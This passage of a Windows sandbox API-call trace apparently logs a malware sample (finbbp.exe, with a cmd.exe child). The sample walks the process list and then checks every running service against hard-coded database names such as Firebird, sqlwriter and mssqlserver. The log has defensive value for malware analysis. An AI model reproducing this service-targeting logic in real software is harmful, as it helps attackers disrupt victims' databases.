out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0262.702] lstrlenW (lpString="dwm.exe") returned 7 [0262.702] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.703] lstrlenW (lpString="svchost.exe") returned 11 [0262.703] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.703] lstrlenW (lpString="svchost.exe") returned 11 [0262.703] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.704] lstrlenW (lpString="svchost.exe") returned 11 [0262.704] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.704] lstrlenW (lpString="svchost.exe") returned 11 [0262.704] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.705] lstrlenW (lpString="svchost.exe") returned 11 [0262.705] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.705] lstrlenW (lpString="svchost.exe") returned 11 [0262.705] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.706] lstrlenW (lpString="svchost.exe") returned 11 [0262.706] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.706] lstrlenW (lpString="svchost.exe") returned 11 [0262.706] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.707] lstrlenW (lpString="svchost.exe") returned 11 [0262.707] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.708] lstrlenW (lpString="svchost.exe") returned 11 [0262.708] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0262.709] lstrlenW (lpString="spoolsv.exe") returned 11 [0262.709] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.709] lstrlenW (lpString="svchost.exe") returned 11 [0262.709] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0262.710] lstrlenW (lpString="audiodg.exe") returned 11 [0262.710] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0262.711] lstrlenW (lpString="sihost.exe") returned 10 [0262.711] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.711] lstrlenW (lpString="svchost.exe") returned 11 [0262.711] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0262.712] lstrlenW (lpString="taskhostw.exe") returned 13 [0262.712] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0262.712] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0262.713] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0262.713] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0262.713] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0262.714] lstrlenW (lpString="Memory Compression") returned 18 [0262.714] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0262.714] lstrlenW (lpString="explorer.exe") returned 12 [0262.714] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0262.715] lstrlenW (lpString="SearchUI.exe") returned 12 [0262.715] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0262.715] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0262.716] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0262.716] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0262.716] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0262.727] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0262.727] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0262.728] lstrlenW (lpString="finbbp.exe") returned 10 [0262.728] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0262.729] lstrlenW (lpString="cmd.exe") returned 7 [0262.729] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0262.729] lstrlenW (lpString="conhost.exe") returned 11 [0262.729] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0262.730] lstrlenW (lpString="consent.exe") returned 11 [0262.730] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.731] lstrlenW (lpString="svchost.exe") returned 11 [0262.731] Process32NextW (in: hSnapshot=0x550, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0262.731] CloseHandle (hObject=0x550) returned 1 [0262.732] Sleep (dwMilliseconds=0x1f4) [0263.850] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aaa10 [0263.851] EnumServicesStatusExW (in: hSCManager=0x41aaa10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0263.852] GetLastError () returned 0xea [0263.852] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x42d0fe0 [0263.852] EnumServicesStatusExW (in: hSCManager=0x41aaa10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42d0fe0, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42d0fe0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0263.853] CloseServiceHandle (hSCObject=0x41aaa10) returned 1 [0263.853] lstrlenW (lpString="Appinfo") returned 7 [0263.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0263.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0263.853] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0263.853] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0263.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0263.853] lstrlenW (lpString="AppXSvc") returned 7 [0263.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0263.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0263.854] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0263.854] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0263.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0263.854] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0263.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0263.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0263.854] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0263.854] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0263.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0263.854] lstrlenW (lpString="Audiosrv") returned 8 [0263.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0263.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0263.854] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0263.854] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0263.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0263.854] lstrlenW (lpString="BFE") returned 3 [0263.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0263.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0263.854] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0263.854] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0263.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0263.854] lstrlenW (lpString="BITS") returned 4 [0263.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0263.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0263.855] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0263.855] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0263.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0263.855] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0263.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0263.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0263.855] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0263.855] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0263.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0263.855] lstrlenW (lpString="CDPSvc") returned 6 [0263.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0263.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0263.855] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0263.855] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0263.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0263.855] lstrlenW (lpString="ClickToRunSvc") returned 13 [0263.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0263.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0263.856] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0263.856] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0263.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0263.856] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0263.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0263.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0263.856] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0263.856] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0263.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0263.856] lstrlenW (lpString="CryptSvc") returned 8 [0263.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0263.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0263.856] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0263.856] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0263.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0263.856] lstrlenW (lpString="DcomLaunch") returned 10 [0263.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0263.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0263.856] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0263.856] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0263.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0263.856] lstrlenW (lpString="DeviceAssociationService") returned 24 [0263.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0263.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0263.857] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0263.857] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0263.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0263.857] lstrlenW (lpString="Dhcp") returned 4 [0263.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0263.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0263.857] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0263.857] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0263.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0263.857] lstrlenW (lpString="Dnscache") returned 8 [0263.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0263.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0263.857] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0263.857] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0263.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0263.857] lstrlenW (lpString="DPS") returned 3 [0263.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0263.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0263.858] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0263.858] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0263.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0263.858] lstrlenW (lpString="DusmSvc") returned 7 [0263.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0263.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0263.858] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0263.858] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0263.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0263.858] lstrlenW (lpString="EventLog") returned 8 [0263.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0263.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0263.858] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0263.858] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0263.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0263.858] lstrlenW (lpString="EventSystem") returned 11 [0263.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0263.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0263.858] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0263.858] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0263.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0263.859] lstrlenW (lpString="FontCache") returned 9 [0263.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0263.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0263.859] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0263.859] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0263.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0263.859] lstrlenW (lpString="gpsvc") returned 5 [0263.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0263.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0263.859] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0263.859] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0263.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0263.859] lstrlenW (lpString="iphlpsvc") returned 8 [0263.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0263.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0263.859] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0263.859] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0263.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0263.859] lstrlenW (lpString="KeyIso") returned 6 [0263.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0263.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0264.210] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0264.210] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0264.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0264.210] lstrlenW (lpString="LanmanServer") returned 12 [0264.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0264.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0264.210] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0264.210] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0264.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0264.211] lstrlenW (lpString="LanmanWorkstation") returned 17 [0264.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0264.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0264.211] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0264.211] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0264.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0264.211] lstrlenW (lpString="lfsvc") returned 5 [0264.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0264.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0264.211] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0264.211] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0264.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0264.211] lstrlenW (lpString="lmhosts") returned 7 [0264.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0264.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0264.211] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0264.211] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0264.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0264.211] lstrlenW (lpString="LSM") returned 3 [0264.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0264.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0264.212] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0264.212] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0264.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0264.212] lstrlenW (lpString="MpsSvc") returned 6 [0264.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0264.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0264.212] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0264.212] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0264.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0264.212] lstrlenW (lpString="NcbService") returned 10 [0264.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 